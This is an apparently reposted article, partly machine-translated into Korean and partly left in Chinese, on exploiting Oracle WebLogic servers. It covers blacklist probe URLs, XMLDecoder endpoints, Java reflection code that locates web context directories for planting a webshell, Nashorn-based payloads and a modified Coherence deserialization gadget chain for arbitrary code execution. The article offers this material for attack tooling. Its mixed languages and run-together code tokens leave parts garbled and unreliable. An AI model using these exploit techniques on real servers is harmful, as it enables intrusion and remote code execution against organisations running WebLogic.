웹로직 공격 기법은 무엇입니까?

소개

WebLogic 서버는 일반적으로 블루팀이 방어하기 어려운 크고 복잡한 아키텍처가 특징이며 대부분 외부 네트워크에 배포됩니다. 게다가 weblogic의 공격 비용은 상대적으로 낮습니다. 취약점이 있는 한 일반적으로 대상 서버의 루트 권한을 직접 얻을 수 있습니다. 공격과 수비 훈련 중에는 주요 공격팀과 수비진 모두가 집중했다.

물론 제가 만든 도구를 포함해 현재 인터넷에서 구할 수 있는 다양한 익스플로잇 프로그램에는 다소 문제가 있습니다. 그래서 최근 친구의 요청으로 몇 가지 공격 방법과 '완벽한' 용도를 정리했습니다. 레드팀은 이를 사용하여 자체 도구를 개선할 수 있고, 블루팀은 이를 사용하여 추적성 보고서를 작성할 수 있습니다.

1. weblogic의 취약점 탐지

현재 인터넷에 공개된 정보 중 weblogic의 취약점을 탐지하는 더 좋은 방법은 없습니다. 일반적으로 다양한 도구의 접근 방식은 exp를 사용하여 다시 공격하는 것입니다. 성공하면 당연히 취약점이 있지만 실패하면 취약점이 없습니다. 아니면 dnslog를 통해 탐지하세요. 이 두 가지 방법은 다양한 요인에 의해 제한되어 오탐률과 오탐률이 높습니다. 허니팟, WAF 등 보안 장치의 규칙을 트리거하는 것도 가능합니다.

물론, 여기서는 취약점이 있는지 확인하는 더 간단한 방법, 즉 T3 RMI의 CODEBASE 기능을 사용하여 웹로직 블랙리스트를 확인하는 방법을 소개하겠습니다.

codebase: 간단히 말해서, 코드베이스는 클래스를 원격으로 로드하는 경로입니다. 개체 전송자가 개체를 직렬화하면 코드베이스 정보가 직렬화 스트림에 추가됩니다. 이 정보는 수신자에게 개체에 대한 실행 코드를 찾을 수 있는 위치를 알려줍니다.

그럼 생각을 다르게 할 수 있을까, 만약 이 클래스가 웹로직의 블랙리스트 클래스라면 어떨까요? ? 또한 weblogic의 코드베이스는 http 프로토콜을 사용하여 클래스를 전송합니다.

활용 방법은 다음과 같으며, 브라우저를 이용하여 상대방이 weblogic 서버인지 확인한 후 URL은 다음과 같습니다

T3 deserialization 블랙리스트 http://xx:7001/bea_wls_internal/ 클래스/weblogic/utils /io/oif/WebLogicFilterConfig.classhttp://xx:7001/bea_wls_internal/classes/weblogic/utils/io/oif/WebLogicFilterConfig.class

xmldecoder 黑名单http://192.168.119.130:8088//bea_wls_internal/classes/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class

1.1 T3 codebase分析

在weblogic.rjvm.InternalWebAppListener#contextInitialized

if(!server.isClasspathServletDisabled()) {
servletContext.addServlet("classes", "weblogic.servlet.ClasspathServlet").addMapping(new String[]{"/classes/*"});
}

2. Weblogic xmldecoder deserialization 취약점

취약점에 대해서는 너무 많이 소개하지 않고, 원인과 분석에 대해서는 이야기하지 않겠습니다. 여기서 취약점.

취약점 감지 URL

/wls-wsat/CoordinatorPortType

RegistrationPortTypeRPC

ParticipantPortType

RegistrationRequesterPortType

CoordinatorPortType11

RegistrationPortTypeRPC11

이 취약점을 악용할 때의 어려움은 다음과 같다고 생각합니다. Aspects

1. 인터넷에는 에코코드만 있고 메모리말 같은 익스플로잇 코드는 없습니다

weblogic 10의 exp를 이용하여 하나씩 풀어보겠습니다. 파일을 바이너리 형식으로 변환합니다

2. org.mozilla.classfile.DefiningClassLoader의 DefineClass 메소드를 호출하여 위 클래스 파일을 가상 머신에 로드합니다

3. newInstance 메소드를 호출하여 JVM에 추가된 위 클래스의 인스턴스를 생성합니다

4. 인스턴스 메소드를 호출하여 공격을 완료합니다

java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne");
m.setAccessible(true);
ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null);
List<webappservletcontext> list = new java.util.ArrayList();
StringBuilder sb = new StringBuilder();
for(weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) {
java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children");
childrenF.setAccessible(true);
java.util.HashSet set= (java.util.HashSet) childrenF.get(applicationRuntime);
java.util.Iterator iterator = set.iterator();
while(iterator.hasNext()) {
Object key = iterator.next();
if(key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) {

Field contextF = key.getClass().getDeclaredField("context");
contextF.setAccessible(true);
WebAppServletContext context = (WebAppServletContext) contextF.get(key);
list.add(context);
}
}
}
returnlist;</webappservletcontext>

2.1 获取随机路径

利用上面的代码，获取到weblogic 加载的所有的web context后，我们可以调用context.getRootTempDir().getAbsolutePath()方法去获取目录的位置，然后写入webshell。

我的代码如下

List<webappservletcontext> contexts = findAllContext();
Iterator<webappservletcontext> i = contexts.iterator();
StringBuilder sb = new StringBuilder();
while(i.hasNext()) {
WebAppServletContext context = i.next();
sb.append(String.format("name %30s\turl %30s\tDocroot %s\n", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath()));
}

returnnew ByteArrayInputStream((sb.toString()).getBytes());</webappservletcontext></webappservletcontext>

截图如下

2.2 weblogic 12.x payload

weblogic 12.x 中，没有org.mozilla.classfile.DefiningClassLoader这个类，况且我也不太喜欢这种不灵活的方式去写exp。在这里我换一种方式，那就是通过java调用js。

从 JDK 1.8 开始，Nashorn取代Rhino(JDK 1.6, JDK1.7) 成为 Java 的嵌入式 JavaScript 引擎。Nashorn 完全支持 ECMAScript 5.1 规范以及一些扩展。它使用基于 JSR 292 的新语言特性，其中包含在 JDK 7 中引入的 invokedynamic，将 JavaScript 编译成 Java 字节码。

注意，不支持1.5以及1.5以下的JVM

在java执行js时，可以调用任意java对象，方法，类。需要注意的是，java是强类型语言，而js是弱类型语言，js有的时候可能会代码意想不到的类型转换。这里需要注意

只需要将上面加载context的代码，改成js就可以，在这里我贴一张截图

在nashorn中，默认最后一个变量作为调用本次js的返回值

三、weblogic T3反序列化

在这里我推荐一下r4v3zn老哥的weblogic-framework 利用工具， 。当然也有一点点bug，不过这是一款非常好用的工具。工具地址 https://github.com/0nise/weblogic-framework

漏洞探测的话，参考前面的黑名单下载方式

当然，T3反序列化中也有很多坑，例如 cve-2020-2555 等，无法做到类似于CC链的任意代码执行，目前同行的大部分做法是上传一个jar至tmp目录或者通过urlclassloader去远程加载jar包，部署恶意代码。

但是我们依旧可以通过反序列化的链式执行，调用nashorn的方式，间接做到任意代码执行。

而我们待执行的js，通过反射调用javaassist包去组装一个ClusterMasterRemote类并绑定JNDI实例以作回显。js代码如下

image-20210329124530132

当然，corherence gadget处需要修改成如下

private static ChainedExtractor getChainedExtractor() {
returnnew ChainedExtractor(new ReflectionExtractor[]{
new ReflectionExtractor(
"newInstance", new Object[]{}
),
new ReflectionExtractor(
"getEngineByName", new Object[]{"nashorn"}
),
new ReflectionExtractor(
"eval", new Object[]{getJsCode()}
)

});
}

위 내용은 웹로직 공격 기법은 무엇입니까?의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!